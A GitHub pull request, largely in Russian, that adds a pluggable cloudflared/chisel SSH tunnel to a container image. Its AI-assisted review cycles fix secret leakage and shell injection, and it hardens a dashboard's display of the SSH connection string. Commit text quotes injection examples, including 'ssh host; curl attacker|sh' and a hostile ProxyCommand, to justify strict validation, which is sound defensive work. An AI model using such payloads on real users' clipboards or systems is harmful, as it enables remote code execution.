feat(tunnel): pluggable внешний SSH-туннель (cloudflared + chisel) (#79) - #82
Conversation
Даёт внешний доступ к sshd (порт 22) контейнера там, где проброс портов недоступен (Railway/PaaS). Pluggable: оба провайдера в образе, выбор через SSH_TUNNEL_PROVIDER (cloudflared по умолчанию, chisel — альтернатива). Туннель независим от hapi — работает при INSTALL_HAPI=false. - Dockerfile: ARG INSTALL_CLOUDFLARED/INSTALL_CHISEL + curl-установка cloudflared 2026.6.1 и chisel 1.11.5 после ttyd-шага; мульти-арх через dpkg --print-architecture (оба Go, есть arm64-пребилты → Go build-stage не нужен); строгий true|false case (fail-closed, как Hermes). - entrypoint.sh: env-дефолты SSH_TUNNEL_* + gate-блок рядом с hapi (не внутри), switch cloudflared|chisel|невалид; fail-видимо на пустом токене/CHISEL_SERVER или отсутствии бинарника; строка подключения для дашборда (#80) → ssh-url. - build.sh: проброс INSTALL_CLOUDFLARED/INSTALL_CHISEL как INSTALL_HERMES. - .env.example/README.md/CLAUDE.md: env-набор, примеры подключения клиента, process-table, INSTALL-ключи. - tests/unit/test_shell_scripts.py: 7 новых тестов (Dockerfile-блок мульти-арх + гейты, entrypoint gate/switch/команды/warn-not-fatal/ssh-url/независимость от hapi, build.sh-проброс). Closes #79 Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01EvJ7orcAGH77LMZXEebSDc
🔍 Local review (cycle 1/3)Reviewed locally — Claude subagent + Codex companion (no GitHub bots pinged). Оба ревьюера независимо сошлись на одной критической проблеме безопасности.
Исправления (в этом раунде)
Triage цикла 1/3: 2 FIX (оба исправлены), 2 minor (применены попутно). |
…review) Ревью PR #82 (Claude subagent + Codex) нашло критическую регрессию: секреты туннеля (CLOUDFLARE_TUNNEL_TOKEN, CHISEL_AUTH) попадали в командную строку процесса (видно в ps / /proc/<pid>/cmdline), а env-значения интерполировались в sh -c строку (возможна shell-инъекция через $()/backtick/;). - Добавлен argv-вариант run_as_hapi_argv: программа+аргументы как отдельные argv (без sh -c), доп. env-пары (секреты) перед `--` через `runuser ... env` — не в командной строке. Совпадает с инвариантом репо (ROOT_PASSWORD heredoc, PASSWORD_SECRET через файл). - cloudflared: токен через TUNNEL_TOKEN env (читается нативно), --token убран. - chisel: AUTH через env; CHISEL_SERVER и R:port:localhost:22 — отдельные argv. - Numeric-guard для CHISEL_REMOTE_PORT (как у PORT). - Лог через redirect >>"$LOG" 2>&1 вместо | tee → $! указывает на сам туннель (немедленный сбой больше не маскируется живым tee). - sed host-extract → [A-Za-z]+:// (mixed-case scheme). - Тесты: secret-hygiene (статика) + поведенческий run_as_hapi_argv (секрет — env-пара, не argv; метахар-значение передаётся буквально, не исполняется) + numeric-guard + redirect-not-tee. 295 passed. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01EvJ7orcAGH77LMZXEebSDc
…review cycle 2)
Codex (cycle 2) указал: TUNNEL_TOKEN=/AUTH= как `env NAME=VALUE` аргументы всё
ещё кратко видны в argv процессов runuser/env при запуске. Закрыто полностью:
секрет экспортируется в окружение лаунчера и передаётся в run_as_hapi_argv
только ПО ИМЕНИ; util-linux runuser без --login по умолчанию НЕ чистит
окружение, поэтому значение наследуется через privilege drop, не попадая ни в
один argv. (--whitelist-environment намеренно не используется — без --login это
no-op; проверено по man util-linux.)
- run_as_hapi_argv: имена секретов до `--` лишь документируют контракт;
значения наследуются из окружения, env-pair с секретом убран из вызова.
- call sites: `TUNNEL_TOKEN="${CLOUDFLARE_TUNNEL_TOKEN}" run_as_hapi_argv
TUNNEL_TOKEN -- ...` (и AUTH аналогично).
- Тесты усилены: поведенческий проверяет, что значение секрета (включая
метахар-payload) приходит в окружение runuser и НИ В ОДНОМ argv-элементе не
появляется; статический запрещает `runuser ... --whitelist-environment`.
295 passed.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EvJ7orcAGH77LMZXEebSDc
🔍 Local review (cycle 2/3)Claude subagent + Codex companion. Расхождение ревьюеров, разобрано триажем:
Codex прав по факту (краткое окно), и раз можно убрать секрет из argv полностью — сделал это, не оставляя остаточную экспозицию. Исправление
Triage цикла 2/3: 1 FIX (Codex, исправлен), 1 APPROVE (Claude). Запускаю подтверждающий цикл 3. |
Финальная зачистка после чистого цикла 3 (оба ревьюера APPROVE): - актуализированы устаревшие упоминания --whitelist-environment в докстрингах тестов (механизм — наследование env runuser без --login, флаг не используется); - добавлен поясняющий комментарий к повторной декларации ARG INSTALL_CLOUDFLARED/ INSTALL_CHISEL в Dockerfile (ARG scoped per build stage). Только комментарии/докстринги, поведение не меняется. 295 passed. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01EvJ7orcAGH77LMZXEebSDc
✅ Local review (cycle 3/3) — APPROVE, цикл завершёнClaude subagent + Codex companion — оба APPROVE, 0 findings.
Финальная зачистка (
|
| Цикл | Итог |
|---|---|
| 1 | 2 FIX: секреты в argv (C1) + shell-инъекция (C2) → исправлено argv-launch + numeric-guard + redirect-not-tee |
| 2 | 1 FIX (Codex): остаточный краткий env-argv → секрет через наследование окружения runuser |
| 3 | 0 FIX — оба APPROVE |
python -m pytest tests/unit/ → 295 passed, 166 subtests passed. bash -n чисто. docker build не гонялся (Docker Hub таймаутит в окружении).
Режим ревью — local → мердж не автоматический. PR готов к мерджу по решению владельца (после прохождения CI). Коммиты: 066dbaf (фича) → d43749b → 53d7216 → e9b7eba.
* feat(dashboard): show SSH connection string on menu (#80) Read the ssh-url file written by the tunnel (#79/#82) via load_ssh_url and render it on the dashboard next to the HAPI link. Mirrors the HAPI URL pipeline: config SSH_URL_FILE, views load_ssh_url + {{SSH_LINK}} gating, app.py handle_menu. The command is never interpreted, only displayed via html.escape; without a tunnel the SSH block is hidden entirely. Unit tests cover parsing and render gating. * fix(dashboard): reject shell metacharacters in ssh-url connection string load_ssh_url accepted any 'ssh ...' string as long as it lacked newline/CR/NUL, so a payload like 'ssh host; curl attacker|sh' passed validation and was shown on the dashboard for copy-paste. Reject the shell metacharacters ; | & $ ` \ < > ( ) { } and any control character (ord < 0x20) so a second command cannot ride the copy-paste path. Quotes, spaces and % stay allowed (legitimate cloudflared form). Docstring updated to match the actual control-char coverage. * fix(dashboard): allowlist ssh-url to two exact grammars (reject arbitrary ssh options) The denylist did not stop arbitrary ProxyCommand: ssh executes ProxyCommand locally before connecting, so 'ssh -o ProxyCommand="touch /tmp/pwned" hapi@host' passed validation and gave copy-paste RCE. Replace the denylist with an allowlist of two exact grammars via re.fullmatch (both ends anchored): 1. chisel: ssh -p <PORT> <USER>@<HOST> 2. cloudflared: ssh -o ProxyCommand="cloudflared access ssh --hostname %h" <USER>@<HOST> The cloudflared ProxyCommand value is pinned verbatim, so a hostile ProxyCommand, -F, LocalCommand, extra options, non-numeric port, host with / or :, and any shell metacharacter simply fail to match and are rejected. --------- Co-authored-by: axisrow <axisrow@users.noreply.github.com>
Summary
Реализует pluggable внешний SSH-туннель к sshd контейнера (порт 22) для окружений без проброса портов (Railway/PaaS). Оба провайдера в образе, выбор через
SSH_TUNNEL_PROVIDER— cloudflared по умолчанию, chisel альтернатива. Туннель независим от hapi (работает приINSTALL_HAPI=false).Спецификация — в комментариях к #78/#79.
Изменения
ARG INSTALL_CLOUDFLARED/INSTALL_CHISEL+ curl-установка cloudflared 2026.6.1 и chisel 1.11.5 после ttyd-шага; мульти-арх черезdpkg --print-architecture(оба Go, есть arm64-пребилты → Go build-stage не нужен); строгийtrue|falsecase (fail-closed, как Hermes). ao-стейджи не затронуты.SSH_TUNNEL_*+ gate-блок рядом с hapi (не внутри, → независим от hapi); switchcloudflared|chisel|невалид; fail-видимо на пустом токене/CHISEL_SERVER/отсутствии бинарника; строка подключения для дашборда (Показать SSH-строку подключения на дашборде #80) →ssh-url.INSTALL_CLOUDFLARED/INSTALL_CHISELкакINSTALL_HERMES(не-npm).Новые переменные окружения
SSH_TUNNEL_ENABLEDSSH_TUNNEL_PROVIDERcloudflared|chiselCLOUDFLARE_TUNNEL_TOKENCLOUDFLARE_TUNNEL_HOSTNAMECHISEL_SERVERchisel server --reverseCHISEL_AUTHuser:passCHISEL_REMOTE_PORT:22Build-time:
INSTALL_CLOUDFLARED,INSTALL_CHISEL(default true).Подключение клиента
Тесты
python -m pytest tests/unit/→ 289 passed, 166 subtests passed.bash -nчисто.docker buildне гонялся (Docker Hub таймаутит в окружении).Порты/volumes
Без изменений — туннель исходящий, новые порты не публикуются.
Closes #79
🤖 Generated with Claude Code